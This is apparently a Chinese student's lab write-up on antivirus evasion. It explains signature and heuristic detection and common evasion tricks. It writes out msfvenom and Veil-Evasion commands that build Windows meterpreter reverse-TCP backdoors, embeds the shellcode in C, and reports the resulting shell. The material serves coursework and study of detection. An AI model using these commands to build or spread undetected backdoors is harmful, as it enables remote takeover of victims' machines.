《網絡攻防》實驗三:免殺原理與實踐

《網絡攻防》實驗三:免殺原理與實踐

世界上公認的第一個在我的電腦上普遍流行的病毒是1986年初誕生的大腦(C-Brain)病毒,編寫該病毒的是一對巴基斯坦兄弟,兩兄弟經營着一家電腦公司,以出售本身編制的電腦軟件爲生。當時,因爲當地盜版軟件猖獗,爲了防止軟件被任意非法拷貝,也爲了追蹤到底有多少人在非法使用他們的軟件,因而在1986年年初,他們編寫了 「大腦(Brain)」病毒,又被稱爲「巴基斯坦」病毒。該病毒運行在DOS操做系統下,經過軟盤傳播,只在盜拷軟件時才發做,發做時將盜拷者的硬盤剩餘空間吃掉。html

說在前面的話

有人說惡意代碼與其檢測是一個貓捉老鼠的遊戲,正所謂「道高一尺,魔高一丈」,從1986年第一個病毒的誕生,到如今惡意代碼的檢測與免殺之間智慧的火花碰濺不斷,硝煙四起。從灰鴿子、冰毒到熊貓燒香:從經典二CCL定位到經典的OD一半一半定位法。能夠看出,二者也是不斷進化進步的。但不一樣於「先有雞仍是先有蛋」,單從檢測的角度來講,反惡意代碼的腳步老是落後於惡意代碼的發展,是被動的。今天,老師讓我扮演一個萌新的「黑客」,任務是實現後門免殺。python

知己知彼

惡意代碼分析方法
靜態分析方法,是指在不執行二進制程序的條件下進行分析,如反彙編分析,源代碼分析,二進制統計分析,反編譯等,屬於逆向工程分析方法。shell

- (1)靜態反彙編分析,是指分析人員藉助調試器來對而已代碼樣本進行反彙編出來的程序清單上根據彙編指令碼和提示信息着手分析。  
     - (2)靜態源代碼分析,在擁有二進制程序的源代碼的前提下,經過分析源代碼來理解程序的功能、流程、邏輯斷定以及程序的企圖等。 
     - (3)反編譯分析,是指通過優化的機器代碼恢復到源代碼形式,再對源代碼進行程序執行流程的分析。

動態分析方法,是指惡意代碼執行的狀況下利用程序調試工具對惡意代碼實施跟蹤和觀察,肯定惡意代碼的工做過程對靜態分析結果進行驗證。windows

- (1)系統調用行爲分析方法  正常行爲分析常被應用於異常檢測之中,是指對程序的正常行爲輪廓進行分析和表示,爲程序創建一個安全行爲庫,當被監測程序的實際行爲與其安全行爲庫中的正常行爲不一致或存在必定差別時,即認爲該程序中有一個異常行爲,存在潛在的惡意性。  惡意行爲分析則常被誤用檢測所採用,是經過對惡意程序的危害行爲或攻擊行爲進行分析,從中抽取程序的惡意行爲特徵,以此來表示程序的惡意性。  
     - (2)啓發式掃描技術  啓發式掃描技術是爲了彌補被普遍應用的特徵碼掃面技術的侷限性而提出來的.其中啓發式是指「自我發現能力或運用某種方式或方法去斷定事物的知識和技能」。

考慮到以上引用度娘說的話有點晦澀難懂,我貼心地遞上白話文版!數組

一般,一個病毒防護工做者拿到一個截獲或上報上來的病毒時,先是分析這個病毒文件執行後的動做,所謂"動做",就是指病毒文件執行後會作哪些操做。例如會生成什麼新文件、怎樣更改註冊表、怎樣註冊服務、打開什麼端口等等。
搞明白這些後,下一步通常會研究這個病毒的文件結構,而後找出不同凡響的地方,將其定義爲特徵碼。而這個特徵碼定義的高明與否,就要看他定義的位置是否刁鑽,例如他若是定義的是病毒文件更改註冊表鍵值那部分代碼的話,這顯然不會太難!由於只要病毒文件更改鍵值,99%的狀況下這個文件裏必定存在被更改鍵值的字符串,因此找到這段字符串的位置就能夠定義特徵碼了。可是針對這種特徵碼作免殺是很是容易的,只需找到相應的位置,並更改字母的大小寫便可。而若是從文件頭找出一段特徵碼就是很是不容易的事情了……除此以外,所定義的特徵碼還有一個分支,即內存特徵碼。所謂內存特徵碼就是指木馬文件運行後釋放到內存時所存在的特徵,它的原理大致與上面介紹的文件特徵碼同樣。
當特徵碼定義出來以後,就會被提交到另外的一個部門,而後進入病毒定義庫,當用戶更新後,之後殺毒軟件在碰到符合要求的文件時就會將其絕不憂鬱的殺掉!也就是說,殺毒軟件只認特徵碼,不認文件。安全

大逃殺!

給惡意代碼加殼,加花,修改特徵碼...... 使殺毒軟件不能殺這個病毒,木馬 ,惡意代碼免遭殺毒軟件「毒手」,此謂免殺!如下給你們介紹正確的、豐富的免殺姿式,固然啦!不是原創總結,具體參考引用博主byte_way
1、主動免殺網絡

1. 修改字符特徵:主動查找可能的特徵碼,包括木馬文件修改註冊表、生成新文件的名稱與路徑、注入的進程名等動做,也包括運行過程當中可能出現或必定會出現的字符等文件特徵。而後找出這些字符,並將其修改。 
2. 修改輸入表:查找此文件的輸入表函數名(API Name),並將其移位。 
3. 打亂文件結構:利用跳轉(JMP),打亂文件原有結構。 
4. 修改入口點:將文件的入口點加1。 
5. 修改PE段:將PE段移動到空白位置

2、被動免殺tcp

1. 修改特徵碼:用一些工具找出特徵碼並針對特徵碼作免殺處理。 
2. 用Vmprotect:使用Vmprotect加密區段。 
3. 文件加殼:能夠用一些比較生僻的殼對木馬文件進行保護。

利器以善事

在瞭解了殺毒軟件檢測惡意代碼的原理和掌握了免殺的方式,咱們離實戰還缺些什麼技術或步驟?首當其衝的是如何編寫能夠免殺的後門程序,這個能夠經過參考班級大神的博客止渴;其次,如何檢驗免殺的效果?僅僅經過電腦自帶的殺毒軟件檢驗,存在檢驗的樣本太少,不一樣免殺的後門之間的差別區分度不高。咱們能夠經過驗毒網站檢測一下有多少查毒軟件能夠將其查殺出來。經過檢測出的殺毒軟件的數量區分差別。函數

絕知免殺要躬行

在下不才,先感謝個人兩位導師高其張薇。在參考兩位大觸的博客後,我感受本身少走了十八里路。接下來就是我偷渡陰平,直取蜀漢啦!
Kali IP:192.168.88.144,Windows IP: 192.168.88.139工具

msfvenom直接生成meterpreter可執行文件

解:由上次實驗博客得
首先在虛擬機上輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.139 LPORT=5213 -f exe > 20145213.exe
主機輸入指令ncat.exe -lv 5213 > 20145213.exe
虛擬機輸入指令ncat -nv 192.168.88.139 < 20145213.exe把文件傳送過去

畢竟仍是太粗糙了,電腦管家檢測到並刪除不奇怪,添加到信任去,找回文件便可。到驗毒網站檢測一下有多少查毒軟件能夠將其查殺出來,結果以下:

使用Veil-Evasion生成可執行文件

Veil-Evasion是一個與Metasploit有點相似的軟件,已經在kali虛擬機裏,若是沒有能夠進行在線安裝:sudo apt-get install veil-evasion
在終端下輸入指令veil-evasion便可打開軟件,

根據menu的提示依次鍵入如下指令:

use python/meterpreter/rev_tcp  //設置payload
set LHOST 192.168.88.144    //設置反彈鏈接IP
set port 5213    //設置反彈端口5213
generate    //生成
145213    //程序名




以圖可知,該可執行文件存在kali計算機的/var/lib/veil-evasion/output/compiled/文件夾裏。到驗毒網站檢測一下有多少查毒軟件能夠將其查殺出來,結果以下:


使用C語言調用Shellcode

使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.144 LPORT=5213 -f c命令生成一個C語言shellcode數組

將上面生成的數組copy到win8的主機上,用VC6.0編寫一個C程序並編譯。
編譯成功,生成兩個可執行的文件


檢測一下:



在Kali下使用msf監聽(如何進行msf監聽),運行剛剛編譯生成的可執行文件,成功獲取權限

吾日三省吾身

唉,本次實驗的尾聲,又是熟悉的老面孔啦!

據我分析,要麼是輸錯了IP,煩了粗枝大葉的錯誤。要麼,改裝的代碼有問題,畢竟是用「拿來主義」而不是本身原創的,不能知根知底。
高中生物老師告訴我,要控制變量。所以,此次排除實驗的惟一變量是後門程序,一個是第二次實驗中生成的後門,一個是此次免殺的後門。如下是結果:

vs
引用福爾摩斯的一句名言> 一旦你排除了全部不可能的事實外,那麼剩下的,無論多麼難以想象,那就是事實的真相. 當排除了全部其它的可能性,還剩一個時,無論有多麼的不可能,那都是真相. 此時不得不認可,形成總是監聽的緣由,代碼的鍋跑不了了。在通過和張亞軍同窗友好且深刻的溝通交流後,咱們發現代碼錯誤在於不能直接引用別人的代碼,容易「水土不服」,代碼的總體結構不變,在數組處要替換成本身電腦的數組(兩個很類似,但必定要替換哦!)在替換本身電腦的數組後,「曲高和寡」的問題終於解決了,Kali的監聽終於有了肉雞的迴應,咱們在祝福他們的同時,此次試驗也完滿結束啦!

相關文章
相關標籤/搜索